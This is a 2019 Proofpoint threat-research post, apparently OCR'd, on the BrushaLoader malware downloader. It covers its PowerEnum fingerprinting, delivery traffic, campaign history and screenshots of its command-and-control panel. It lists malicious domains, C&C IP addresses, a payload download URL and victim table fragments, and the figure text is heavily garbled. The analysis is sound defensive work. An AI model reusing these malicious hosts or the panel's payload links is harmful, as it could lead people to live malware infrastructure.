BrushaLoader still sweeping up victims one year later

proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later

July 22, 2019





<u>Threat Insight</u> BrushaLoader still sweeping up victims one year later



July 22, 2019 Kafeine and the Proofpoint Threat Insight Team

Overview

BrushaLoader is one of a growing group of downloaders frequently employed by threat actors to profile infected PCs and then load more robust payloads on devices of interest. Malware like BrushaLoader contributes to the ongoing trend of "quality over quantity" infections and enables threat actors to better stay under the radar than they can with highly disruptive infections like ransomware or when distributing massive malicious spam campaigns with high-profile malware as their primary payload. At the same time, these loaders can also deliver those same disruptive infections if threat actors choose to load ransomware as secondary payloads, a scenario we have observed on multiple occasions recently.

BrushaLoader itself first appeared in June 2018 [1]. Now, just over a year later, we have observed the loader in a number of campaigns by prominent threat actors. We derived the name for this VisualBasic/JavaScript/PowerShell loader from the "Rusha" author of the command and control (C&C) panel.

Copyright (c) Panel - author Rusha

Figure 1: BrushaLoader C&C panel: "Copyright" section

Analysis

Immediately after executing, BrushaLoader receives a PowerShell script called "PowerEnum" [5] (Figure 2).

A				10 A 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4	and a second			
Apache	GET	200	HTTP	fees.tetofevent.online	/web7/wien.php?email=043f6@9cead	188	Link in malspam (GidensTDS)	text/html; charset=UTF-8
Apache	GET	302	HTTP	fees.tetofevent.online	/90873545678953456.php?email=043f6@9cead	3	GidensTDS Step 2	text/html; charset=UTF-8
nginx/1	GET	200	HTTPS	cytotan.website	/	559	Zipped-VBS (BrushaLoader) ITA/POL Geofenced	application/octet-stream
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	18	BrushaLoader	text/html
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	592	BrushaLoader (Sending PowerEnum Task)	text/html
	GET	200	HTTPS	infosevicues.info	/chkesosod/downs/iZj	1,993	BrushaLoader - PowerEnum	application/octet-stream; ch
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	394,066	BrushaLoader (Sending Danabot)	text/html
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	18	BrushaLoader	text/html
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	200	BrushaLoader (Moving Danabot DLL)	text/html
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	18	BrushaLoader	text/html
nginx/1	POST	200	HTTPS	driverupdatefaxas.info	1	428	BrushaLoader (Execute Danabot with f0)	text/html

Figure 2: HTTP portion of BrushaLoader delivery and post-infection activity (PowerEnum activity is not illustrated here); captured February 7, 2019

PowerEnum performs extensive fingerprinting on infected devices and sends the data back to the C&C. This communication occurs over a raw TCP "parallel" channel to BrushaLoader. PowerEnum is also used to send tasks, which were originally stored on Dropbox [2][3], and more recently were hosted on Google Drive [4].PowerEnum is integral to BrushaLoader and shares the same C&C infrastructure. Interestingly, we also observed PowerEnum as a Fallout EK payload delivering Danabot Affid "4" (Figure 3)

	Tags		٥	ate
Fallout	exploit-	kit Fallout 160x	x Undefined Keitaro Malvertising RevenueHits DEU PowerEnum DanaBot 4 UndefinedDrop 2	019-06-06
72 nginx	GET 302	HTTP	bitdesk.online /yKbM5n 0	
73 nginx	GET 200	HTTPS	guyspride.com /Peloruses_embowing/Sdrx/dishwiper-lavadero.asp 5,213	
74 nginx	GET 200	HTTPS	guyspride.com /trypaneid-Galanga/01_09_2006/recement.phtml 28,678	
75 nginx	POST 200	HTTPS	guyspride.com /4Ts0n/voly/1995-01-17/8sn.aspx 7,296	
76 nginx	POST 200	HTTPS	guyspride.com /59t/Po7F/nml 28,696	
77 nginx	GET 200	HTTPS	guyspride.com /1955-03-20/1121.jsp?3ZrN=Zombiisms_Fieldie 35,125	
92 nginx	GET 200	НТТР	guyspride.com /OnVF/Heinesque_recliners_Latten?KCcZ=bursaries-posologic-oligae 104	
93	CONN 200	HTTP	Tunnel to 185.203.117.63:443 586	
aemia HTTP/1.1 .r-Agent: sENB2a3/ tt: guyspride.com inection: Keep-Aliv	6p61HSKES /e		Server: nginx Date: Thu, 06 Jun 2019 16:31:27 GMT Content-Type: application/octet-stream Content-Length: 104 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: *	

Figure 3: Fallout EK dropping PowerEnum, which has been observed instructing the download of Danabot Affid 4 and a BackConnect Socks.dll

Payloads

BrushaLoader is strongly connected to the <u>Danabot banking Trojan</u> Affid "3". However, this connection is not exclusive as we have observed it in conjunction with other malware as well (Figure 4).

Tags	Date 4
Malspam rar-vbs BrushaLoader POL DanaBot 4	2018-07-06
Malspam rar-vbs BrushaLoader POL DanaBot 4	2018-07-13
Malspam url-to-js Invoice/Order/Receipt Keitaro CAN BrushaLoader Gootkit 1006 DropBox	2018-08-02
Malspam rar-vbs BrushaLoader I POL ITA Gozi v2 RM3 10291029JSJUYNHG	2018-08-09
Malspam rar-vbs BrushaLoader I POL ITA Gozi v2 RM3 10291029JSJUYNHG	2018-08-28
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt DEU POL DanaBot 3	2018-09-03
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt DEU POL DanaBot 3	2018-09-11
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt DEU POL DanaBot 3	2018-09-13
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2018-10-04
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2018-10-16
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2018-11-06
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt TA DanaBot 3	2018-11-08
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt TA DanaBot 3	2018-11-13
Malspam rar-vbs BrushaLoader Invoice/Order/Receipt ITA DanaBot 3 DropBox	2018-11-21
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt POL ITA DanaBot 3	2018-12-07
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt POL ITA DanaBot 3 DropBox	2018-12-13
Malenam uid to zinned whs Brushal order Invoice/Order/Receipt DOL ITA DanaRet 3	2019-12-17

	2010-12-17
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt Gidens POL ITA Nymaim SandiFlux	2018-12-19
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt Gidens ITA POL Nymaim	2018-12-24
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt Gidens ITA POL Nymaim SandiFlux	2018-12-27
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt Gidens ITA POL DanaBot 3	2019-01-02
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt ITA POL DanaBot 3	2019-01-14
Malspam zipped-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2019-01-22
Malspam url-to-zipped-vbs BrushaLoader Invoice/Order/Receipt Gidens POL DanaBot 3	2019-01-23
Malspam zipped-js BrushaLoader Fedex CAN AZORult Gootkit 3434	2019-01-29
Malspam zipped-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2019-02-02
Malspam uri-to-zipped-vbs Gidens BrushaLoader Invoice/Order/Receipt ITA POL DanaBot 3	2019-02-07
Malspam uri-to-zipped-vbs Gidens BrushaLoader Invoice/Order/Receipt POL ITA DanaBot 3	2019-02-11
Malspam zipped-vbs BrushaLoader Document/Request POL DanaBot 3	2019-02-26
Malspam 7z-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3 GoogleDrive	2019-03-08
Malspam macro-xis BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2019-03-19
Malspam rar-vbs BrushaLoader Document/Request POL DanaBot 3	2019-03-26
Malspam zipped-vbs BrushaLoader Document/Request POL DanaBot 3	2019-04-05
Malspam html-zip BrushaLoader Document/Request POL DanaBot 3	2019-04-30
Malspam aced-vbs BrushaLoader Invoice/Order/Receipt T-Mobile TA544 POL DanaBot 3	2019-05-14
Malspam html-zip BrushaLoader Document/Request POL DanaBot 3	2019-05-15
Malspam zipped-vbs BrushaLoader Invoice/Order/Receipt POL DanaBot 3	2019-06-06
Malspam zipped-vbs BrushaLoader Invoice/Order/Receipt POL PowerEnum DanaBot 3	2019-06-19
Malspam zipped-vbs BrushaLoader Invoice/Order/Receipt Orange I POL DanaBot 3	2019-07-02

Figure 4: A selection of documented campaigns involving BrushaLoader over the last year

Figure 4 illustrates a number of noteworthy events:

- Unusual Payload:
 - Ursnif in Italy
 - Gootkit in Canada
 - Nymaim in Poland
- Unusual Spreading:

TA544 [6], also known as Narwhal Spider [7] on May 14, 2019, in a T-Mobile-themed campaign

The C&C panel

Early in its distribution, we observed the BrushaLoader C&C panel and were surprised by the success of a "basic" campaign using compressed-VBS attachments. Despite requiring several user interactions, the actors were able to ensnare more than 4,000 computers in 36 hours (Figures 5 and 6).

⇒ C	① 107.175.83	.150/admin												
nel H	Home jSload	ler Statist	icVendor	Options										
pe	Loade	rType		Blocked	lOs		RunExe	Download	Timeserver	١	Web_blocked	Clea	rLogs	
	vbs			0			733	784	false-min	(OFF	Clea	rlog	
	options													
downlo	bad"													
renam	e"													
start"														
del exp	oloit uac"													
vnload	d":17,"rename	":34,"start"	:51,"uac":68	3}										
10 •	entries										Sea	rch:		
/endor	headerhost	RegDate	LastDate	Conn	lp	Cc	FileName	UserAgent		Status	DetectHostName	DetectOs	type	
152063	107 175 03 150					2	400104N							
	107.175.85.150	2018-07-06 07:42:45		- ·	6: 39			Mozilla/4.0 (compatible: MSIE 7.0; Windows N .NET4.0C: .NET4.0E: .NET CLR 2.0.50727; .NET CL SLCC2: Media Center PC 6.0;	VT 10.0; Win64; x64; Trident/7.0; LR 3.0.30729; .NET CLR 3.5.30729; : Tablet PC 2.0)	0				
57521	107.175.83.150	2018-07-06 07:42:45 2018-07-06 07:42:45	2018-07-06 07:42:47	2	83 32	PL	SqNHwbAlz	Mezilla/4.0 (compatible: MSE 7.6 Windows N NET4.0C: NET4.6: NET CLR 2.05727; NET Cl SLCC2: Media Center PC 6.0 Mozilla/4.0 (compatible: MSIE 7.0; Windows NT CLR 2.0.50727; SLCC2: NET CLR 3.5.0728; NET	VT 10.0; Win64; x64; Trident/7.0; LR 3.0.30729; NET CLR 3.5.30729; Tablet PC 2.0) 6.1; Win64; x64; Trident/7.0; NET 7 CLR 3.0.30729; Media Center PC 4.05)	0	eic yet.pl			
57521 851355	107.175.83.150	2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:45	2018-07-06 07:42:47 2018-07-06 07:42:46	2	8: 35 8: 32 18 48	PL PL	SqNHwbAlz xsDPHEAdJqul	Medial 4.0 (compatible MSI 7.8 Windows M Nettaco, Net 20, 12027), NET C(SUCC) Media Center 7.6 (Medial 4.4) (compatible MSI 7.6 Media C.A. 20.50727; SLC2: NET C(A 3.5.30726; MC CA 20.50727; SLC2: NET C(A 3.5.30726; MC CA 20.50727; MET C(A 3.5.30726; MET C(A 3. 2.6.50727; MET C(A 3.5.30726; MET C(A 3.5.30726; METC)), NET C(A 5.5.30726; MET C(A 3.5.30726; METC)), NET C(A 5.5.30726; MET C(A 3.5.30726; METC)), NET C(A 5.5.30726; MET C(A 5.5.30726; METC)), NET C(A 5.5.30726; MET C(A 5.5.30726; METC)), NET C(A 5.5.30726; METC), NET C(A	VT 10.0; Win64; rti64; Trident/7.0; IT 83.03729; VET CLR 3.5.30729; Tablet PC 2.0] 6.1; Win64; rti64nt/7.0; NET CLR 3.0.30729; Media Center PC 4.0E] 6.1; Trident/5.0; SLCC2; NET CLR 3.30729; Media Center PC 6.0; 1.20; vebs.1.00]	0	eic vecpi 188.14 /namict-			
851355 87521	107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150	2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:25	2018-07-06 07:42:47 2018-07-06 07:42:46 2018-07-06 07:42:45	2	8: 35 8: 32 18 48 18 31	PL PL PL	SqNHiibAlz xsDPHEAdlqul WLilgoqsGfA	Mediaula () (compatible (MSI 7.6 Windows M Alefta (C), NT (C), R 202072, NET (C) SLCC2: Media Center / C (C) Mediaula () (compatible (MSI 70, K) C), 2.8.90727; MC (C), 8.8.9072, NET (C), 2.8.90727; MC (C), 8.8.9072, NET Mediaula () (compatible (MSI 70, Windows NT 2.8.90727; NET (C), 8.3.90726, NET (C), 8.9. NETACC, NETAC Mediaula () (compatible (MSI 70, Windows NT C), R 2.0.50727; SLC2: NET (C), 8.3.90726, NET 6.0. NITLAC, NETAC	17 10.0, Win64, s64, Tideen/7.0, LR Bable PC 2.0, 16.1, Win64, s64, Tiden/7.0, PC Call, 3.0.30728, Win63 Center PC Call, 3.0.30728, Win63 Center PC Call, 3.0.30728, Micla Center PC 5.0, 3.0728, Micla Center PC 5.0, 1.0, Win61, S64, Tiden/7.0, NIT CLR 3.0.30728, Micla Center PC Call 3.00728, Win61a Center PC Call 3.00728, Win61a Center PC Call 3.00728, Win61a Center PC	0	aic vepl 188.14 /ramics- 188.14 /ramics-			
57521 1851355 57521 1851355	107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150	2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:25 2018-07-06 07:42:25 2018-07-06 07:41:27	2018-07-06 07:42:47 2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:42	2 2 4 7	62 35 85 32 18 48 18 31 77 14	PL PL PL PL	SqNHwbAlz SqNHwbAlz XXDPHEAdlqu/ WLIgoqaGfA xESGBO	Medial 40 (compatible M08 7.6 Windows M Methaloc, Net140 (M18 7.6 Windows M 2002) Methaloc Methaloc Methaloc Methaloc (Masilia 44) (compatible M08 7.0 Windows M 2.8 Sorze, Net7 CR 3.8 Sorze, Methaloc Medial 40 (compatible M08 7.0 Windows M 2.8 Sorze, Net7 CR 3.8 Sorze, Methaloc Medial 40 (compatible M08 7.0 Windows M Medial 40 (compatible M08 7.0 Windows M Medial 40 (compatible M08 7.0 Windows M 40. NITA 007 Methaloc Medial 40 (compatible M08 7.0 Windows M Medial 40 (compatible M08 7.0 Windows M M Medial 40 (compatible M08 7.0 Windows M M M M M M M M M M M M M M	17 10.0. WING4, sk4. Tideev77.0. 18 303729: MICL R SJ30729: Table PC 20) 16 1. WING4, sk4. Tideev77.0. NET (CR 3.030729: MICla Center PC 46.1. Tideev7.6.0. SUCC2. NET CLR 30729: Micla Center PC 6.0. 12.0. Whon 1.0.0) 16.1. WING4, sk4. Tideev77.0. (CR 3.030729: MICL SL30729: IR 30.030729: MICL SL30729: IR 30.030729: MICL SL30729: IR 30.30729: MICL SL300729: IR 30.30729: IR 30.30729: MICL SL300729: IR 30.30729: IR 30.30729	0 0 0	ec utpl 188.14 /ramicb- 188.14 /ramicb- 188.14 /ramicb- 77- etapl			
57521 2851355 57521 2851355 85657	107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150	2018-07-06 07.42:45 2018-07-06 07.42:45 2018-07-06 07.42:45 2018-07-06 07.42:25 2018-07-06 07.41:27 2018-07-06 07.41:12	2018-07-06 07:42:47 2018-07-06 07:42:46 2018-07-06 07:42:45 2018-07-06 07:42:42 2018-07-06 07:42:39	2 2 4 7 8	e: 3s es 32 18 48 18 31 777 14 ec 14	PL PL PL PL PL	SqNHxbAiz SqNHxbAiz xxDPHEAdlqui WLilgoqxGfA xESGBD Filot	Medial 40 (compatible MGE 76 Windows M Berlado, Hird Cuk 2020), MET Cuk 2020, Masia Centre KE Bo 2020, Masia Centre KE Bo 40, Masia Centre KE Bo 40, Masia Centre KE 40, Masia Centre KE 40, Masia Centre 40, Mata Centre 40,	17 10.0 WINGL ISA TIGHEN770 . R 8.030726 - WIC R 8.30726 . Table PC 20 . 8.1 WINGL VIA TIGHEN770 . NET C(R 8.030726 WIGB Center PC 4.2 . 16.1 TIGHEN50, SLCC2 . NET CLR 3.0726 Midda Center PC 4.2 . 2.2 Windt 1.00 4.1 . WINGL ISA Center PC 4.2 . 16.1	0 0 0 0	eic vetpi 188.14 /ramict- 188.14 /ramict- 188.14 /ramict- 77- eitapi get 20/10			
57521 1851355 57521 1851355 85657 18640	107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150	2018-07-06 07:42-85 2018-07-06 07:42-85 2018-07-06 07:42-85 2018-07-06 07:42-85 2018-07-06 07:42-85 2018-07-06 07:41:07 2018-07-08 07:41:09	2018-07-06 07:42:47 2018-07-06 07:42:46 2018-07-06 07:42:46 2018-07-06 07:42:49 2018-07-06 07:42:48	2 2 4 7 8 14	62 35 62 22 16 48 16 31 77 14 60 14 67 47	PL PL PL PL PL PL	SqNHHbAlz SqNHHbAlz xsDPHEAdiqui WLIIgoqaGAA xESGBO Filot ACqDqoobdsa	Medial 40 (compatible MGE 7.6 Windows M Berlado, Net 2014) 20227, NET C SUCC2, Media Center R 6 00 CC2, Media Center R 6 00 CC2, Media Center R 6 00 CC2, Media Center R 6 00 Medial 40 (compatible: MGE 7.0 Windows M CLA 2.0.50727, SLC22, NET CLA 30 Medial 40 (compatible: MGE 7.0 Windows M CLA 2.0.50727, SLC22, NET CLA 30 Medial 40 (compatible: MGE 7.0 Windows M Medial 40 (compatible: MGE 7.0 Windows M	17 10.0, Win64, s64, Tildenr/7.0, IR Balalot22, WIN64, s64, Tildenr/7.0, IR Balalot22, WIN64, Solar Canada (19), Solar Canada (eic ut.pl 188.14 /ramict- 188.14 /ramict- 188.			
57521 (851355 57521 (851355 (851355) 85657 (18540) 57521	107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150 107.175.83.150	2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:45 2018-07-06 07:42:25 2018-07-06 07:41:12 2018-07-06 07:41:12 2018-07-06 07:41:05	2018-07-06 07.42:47 2018-07-06 07.42:46 2018-07-06 07.42:46 2018-07-06 07.42:49 2018-07-06 07.42:49 2018-07-06 07.42:45	2 2 4 7 8 14 45	62 35 62 22 16 48 10 31 77 14 62 14 67 47 94 23	PL PL PL PL PL PL PL PL	SqNHwbAlz SqNHwbAlz XxDPHEAdiqui VVLIIgoqaXMA XESGBO Filot ACqDqoxbdsa rUtjuO	Medial 4.0 (compatible M08 7.6 Vindewan M Method: NFIC VIET CALL 2020 VIET CALL 2020 LCCC: Mada Centre RC 20 LCCC: Mada Centre RC 20 Media 4.0 (compatible M08 7.0 Vindewan M 2.8 50727; SLCC2: NTC CALL 350726 VIET AUGUNAL 4.0 (compatible M08 7.0 Vindewan M Media 4.0 Vindewan M Media 4.0 (compatible M08 7.0 Vindewan M Media 4.0 (compatible M08 7.0 Vindewan M Media 4.0 Vindewan M M M M M M M M M M M M M M	(11 10.0, Winds, iski, Tikisen/7.0, ISB 203729; WICL R J. SJ07729; WIC	0 0 0 0 0 0 0 0 2	eic ut pl 188.14 pramict- 188.14 pramict- 188.14 pramict- 777 etapl get 2010 87 capl u day-		di	
57521 2851355 57521 2851355 2854355 2854355 18640 57521 2054235	107.175.83.190 107.175.83.190 107.175.83.190 107.175.83.190 107.175.83.190 107.175.83.190 107.175.83.190 107.175.83.190	2018-07-06 0742245 2018-07-06 0742-45 2018-07-06 0742-45 2018-07-06 0742-25 2018-07-06 0741-25 2018-07-06 0741-25 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0741-05 2018-07-06 0742-05 0742-05 0740-05 0742-05 0740-05 000-05 000-05 000-05 000-05 0000-05 00000000	2018-07-06 07-82-87 2018-07-06 07-82-86 07-82-86 07-86	2 2 4 7 8 14 45 9	62 35 65 72 16 48 16 31 77 14 60 14 60 14 61 47 94 23 77 79	PL PL PL PL PL PL PL PL PL PL	SqNHiebAlz SqNHiebAlz xsDPHEAdiqui WLIIgoqsGRA xESGBO Filiot ACqDqowbdsa ACqDqowbdsa rUtjUO LoigNW	Medial 4.0 (compatible MGE 7.6 Windows M BETACC, NETAC (BL 1997), MET C BUCC, Mada Centre R E D BUCC, Mada Centre R E D C CL 2000 (C)	 (17 10.0; Windel, side, Tildeent/7:0; Balaslatzer, CLR 8.3.1072; Tabele PC 20) (28 1.30726; Windel, TCR 8.3.10726; Tabele PC 20) (28 1.10746; Windel, TCR 8.3.10776; TCR 8.1030726; Windel Center PC 4.0; 3.0726; Media Center PC 4.0; 3.0727; Media Center PC 4.0; 2.0; Win 10.0; (17 10.0; Windel, side, Tildeent/7:0; IR 3.0.30726; Windel, S.3.0729; (17 10.0; Windel, side, Tildeent/7:0; IR 3.0.30726; Windel, Tildeent/7; II; II; II; II; II; II; II; II; II; I	0 0 0 0 0 0 0 2 0	eic set pi 188.14 pramict- 188.14 pram		di	

Copyright (c) Panel

Figure 5: BrushaLoader C&C panel - Victims a few hours after the beginning of a July 5, 2018 malicious spam campaign

🖰 Home	×
--------	---

← → C 🛈 107.175.83.150/admin

5 - "del exploit uac"

{"download":18,"rename":36,"start":54,"uac":72}

ndor	headerhost	RegDate	LastDate	Conn	lp	Cc	FileName	UserAgent	Status	DetectHostName	DetectOs	type	Block
1235	107.175.83.150	2018-07-06 16:02:27		1	89	PL	nsQiemyx	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)	0				faise
1355	107.175.83.150	2018-07-06 16:02:09	2018-07-06 16:03:00	9	85	PL	jmpljmFYn	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 3.0.50727; .NET CLR 3.0.50727; NET CLR 3.5.30729)	0	89 xpl			false
51355	107.175.83.150	2018-07-06 16:01:56	2018-07-06 16:01:56	2	28	PL	IFPeqxgLi	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; NET4.0C; NET4.0E; NET CLR 3.0.50727; NET CLR 3.0.502152; NET CLR 3.5.30729)	0	89 vpl			false
51355	107.175.83.150	2018-07-06 16:01:19	2018-07-06 16:01:19	2	28	PL	QdGbBk	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 3.0.450727; .NET CLR 3.0.4502.152; .NET CLR 3.5.30729)	0	89 upl			false
51355	107.175.83.150	2018-07-06 16:01:05	2018-07-06 16:01:06	2	85	PL	TgXXWK8cGmv	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.05; .NET4.05; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)	0	89 v.pl			faise
51355	107.175.83.150	2018-07-06 16:00:29	2018-07-06 16:00:29	2	85	PL	ycQnR	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; NET4.0C; NET4.0E; NET CLR 3.0.4506.2152; NET CLR 3.5.30729)	0	89 v.pl			false
521	107.175.83.150	2018-07-06 16:00:24	2018-07-06 16:03:45	51	80	DE	efxRbDb	Mozilla/40 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x84; Trident/7.0; NET CLR 20.50727; SLC2; NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC 60; NET4.0C; NET4.0E]	0	• •			faise
51355	107.175.83.150	2018-07-06 15:59:52	2018-07-06 15:59:52	2	85	PL	NUK	Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)	0	89 v.pl			false
0362	107.175.83.148	2018-07-06 15:59:46	2018-07-06 16:02:41	16	31	PL	gicQcqufAf	Mozilla/40 (compatible: MSIE 7.0; Windows NT 6.1; Win64: x84: Trident/5.0; NET CLR 3.0.50727; SLC2: NET CLR 3.0.30729; NET CLR 3.0.30729; Media Center PC 60; NET4.0C; InfoPath.3)	0				false
87425	107.175.83.149	2018-07-06 15:59:43		1	84	DE	RiEdaGh	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1: Trident/6.0)	0				false

Figure 6: BrushaLoader C&C panel - Victims approximately 24 hours after the beginning of a July 5, 2018 campaign (captured July 6, 2018)

7/12

Panel Home jSloader StatisticVendor Options

Туре	LoaderType	BlockedOs	RunExe	Download	Timeserver	Web_blocked	ClearLogs
dll	vbs	0	1589	1706	false-min	ON	Clearlog
All Options							
1 - "download"							

2 - "rename" 3 - "start" 4 - "uac"

"del exploit uac"
 "download":12,"rename":24,"start":36,"uac":48}

Show 10 • entries

10 • 6	entries											26	arch:		
endor	headerhost	RegDate	LastDate	Conn	lp	0	FileName	UserAgent	Status		DetectHost	lame	DetectOs	type	Block
8578	107.175.83.148	2018-07-09 08:07:47	2018-07-09 08:08:18	4	101 4	24 PL	nakqDu	Mobile/4.0 (compatible: MSIE 7.0; Windows NT 6.3; Wind4: :64: Trident/7.0; NETA02: NETA02: NET CLR 3.6.30729; NET CLR 3.0.30729)	0	2		pl			true
552352	107.175.83.15	2018-07-09 08:07:46	2018-07-09 08:08:18	4	79 3.	36 P.	InDZSCti	Mozila/4.0 (compatible: MSE 7.0: Windows NT 6 1: Win64: x64: Trident/7.0: NET CLR 2.0.50727; SLC2: NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC 6:0: NET4.0C; NIT4.0E)	0	ыд	6	et.pl			true
47341	107.175.83.149	2018-07-09 08:07:42	2018-07-09 08:08:20	4	94 3.	58 PL	ctiQAFOe	Mozilia/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Tridient/7.0; NET4.0C; NET4.0E; Tablet PC 2.0)	0	user-94		ternet.pl			true
760336	107.175.83.150	2018-07-09 08:07:42	2018-07-09 08:08:19	7	10:	09 PL	GVnevD	Mozilia/4.0 (comparible: MSIE 7.0; Windows NT 51: Trident/4.0; NET CLR 1.1.4322; NET CLR 2.0.50727; NET CLR 3.0.4506.2152; NET CLR 3.5.30720; NETAOC; NETAOC; InfoPaen.2)	0	10	X	pi			true
787425	107.175.83.149	2018-07-09 08:07:41	2018-07-09 08:08:20	23	176 2	.10 PL	QqXTk	Mozila/4.0 (compatible: MSIE 7:0: Windows NT 6.1: Wind4: s64: Trident/5.0: NET CLR 2.0.50727: SLC2: NET CLR 3.0.30729; NET CLR 3.0.30729; Media Center PC 6.0: NET4.0C; Tablet PC 2.0: NET4.0E)	0	178		tranet.pl			true
54070	107.175.83.148	2018-07-09 07:56:49		1	• •	5 17	kioAmipi.	faise	0						faise
50035	107.175.83.148	2018-07-09 07:56:43	2018-07-09 08:08:17	22	83 1	23 PL	kvzRNPKq	Mozila/4.0 (compatible: MSIE 7.0; Windows NT 6.3; Win64: :64: Trident/7.0; NET4.0C; NET4.0C; NET CLR 3.5.30729; NET CLR 2.0.50727; NBT CLR 3.0.30729; Tablet PC 2.0; MASM/5)	0	eint		et.pl			true
50035	107.175.83.148	2018-07-09 07:56:01	2018-07-09 08:08:14	8	71 3	12 PL	ftdqKjUhd	Mosilia;4.0 (compatible: MSIE 7.0; Windows NT 10.0; Winda v64; Trident/7.0; NET4.0C; NET4.0C; NET CLR 2.0.50727; NET CLR 3.0.30729; NET CLR 3.6.30729; LCTE)	0						true
37808	107.175.83.148	2018-07-09 07:53:48	2018-07-09 08:08:22	216	1 1	PL	ZzEj	Mosilia/4.0 (compatible: MSIE 7.0; Windows NT 10.0; Wind& th4: Trident/7.0; NET4.0C; NET4.0E; NET CLR 2.0.50727; NET CLR 3.0.30728; InfoPath.3)	0	publi		tel.pl			true
6817	107.175.83.149	2018-07-09 07:53:45	2018-07-09 08:08:22	70	2. 9	2 P.	Hfwglha	Modila/4.0 (compatible: MSIE 7.0; Windows NT 10.0; Win54; x64; Trident/7.0; NET4.0C; NET4.0E)	٥	getH	¢	UND			true

Copyright (c) Panel

Figure 7: BrushaLoader C&C panel - Victims approximately 36 hours after the beginning of a July 5, 2018 campaign (captured July 9, 2018)

Panel	Home jSloader Stat	tisticVendor Options	;						
Туре	LoaderType	BlockedOs	RunExe	Download	Timeserver	Web_blocked		ClearLog	5
dll	vbs	0	3	8	false-min	ON		Clearlog	
All	Options								
1 - "dov 2 - "ren 3 - "star 4 - "uac	vnload" ame" t" "								
{"downl	oad":14,"rename":28,"st	DataTables warning: tabl http://datatables.net/tn/7	e id=example - Ajax err	or. For more information a	bout this error, please see				
Show 1	0 v entries					ЮК			
Vendo	r headerhost Reg			Loading_			DetectOs	type	Block
Showing	g 0 to 0 of 0 entries						Pr	evious	Next
				Copyright (c) Pane	I				

Figure 8: BrushaLoader C&C panel - Commands/Tasks

	C û ()	107.175.83.149/admin/			🔽 🗘 Searc	h	<u>↓</u> II\ ⊡ ⊝ ≡
Panel	Home jSloader Sta	tisticVendor Options					
Туре	LoaderType	BlockedOs	RunExe	Download	Timeserver	Web_blocked	ClearLogs
dll	vbs	0	3	8	false-min	ON	Clearlog
All	Options						
http:	//domain.com/file.	exe		LINKFILE	Submit		
				Copyright (c) Pane	ł		

Figure 9: BrushaLoader C&C panel - Home

 ← → C (i) 107.175.83.150/options Panel Home jSloader Options Choose file No file chosen Submit Choose file No file chosen Submit State: Options File SHA1: MD5: Size: DII tcde50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9ees 181248 Exe Stef9515e8fd92a254dd2dcddd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 powershell get-filehash -algorithm md5 youfile.exe powershell get-filehash -algorithm sha1 youfile.exe Uri https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1s8y627E- knqw58988hPtrnh 	Home ×		
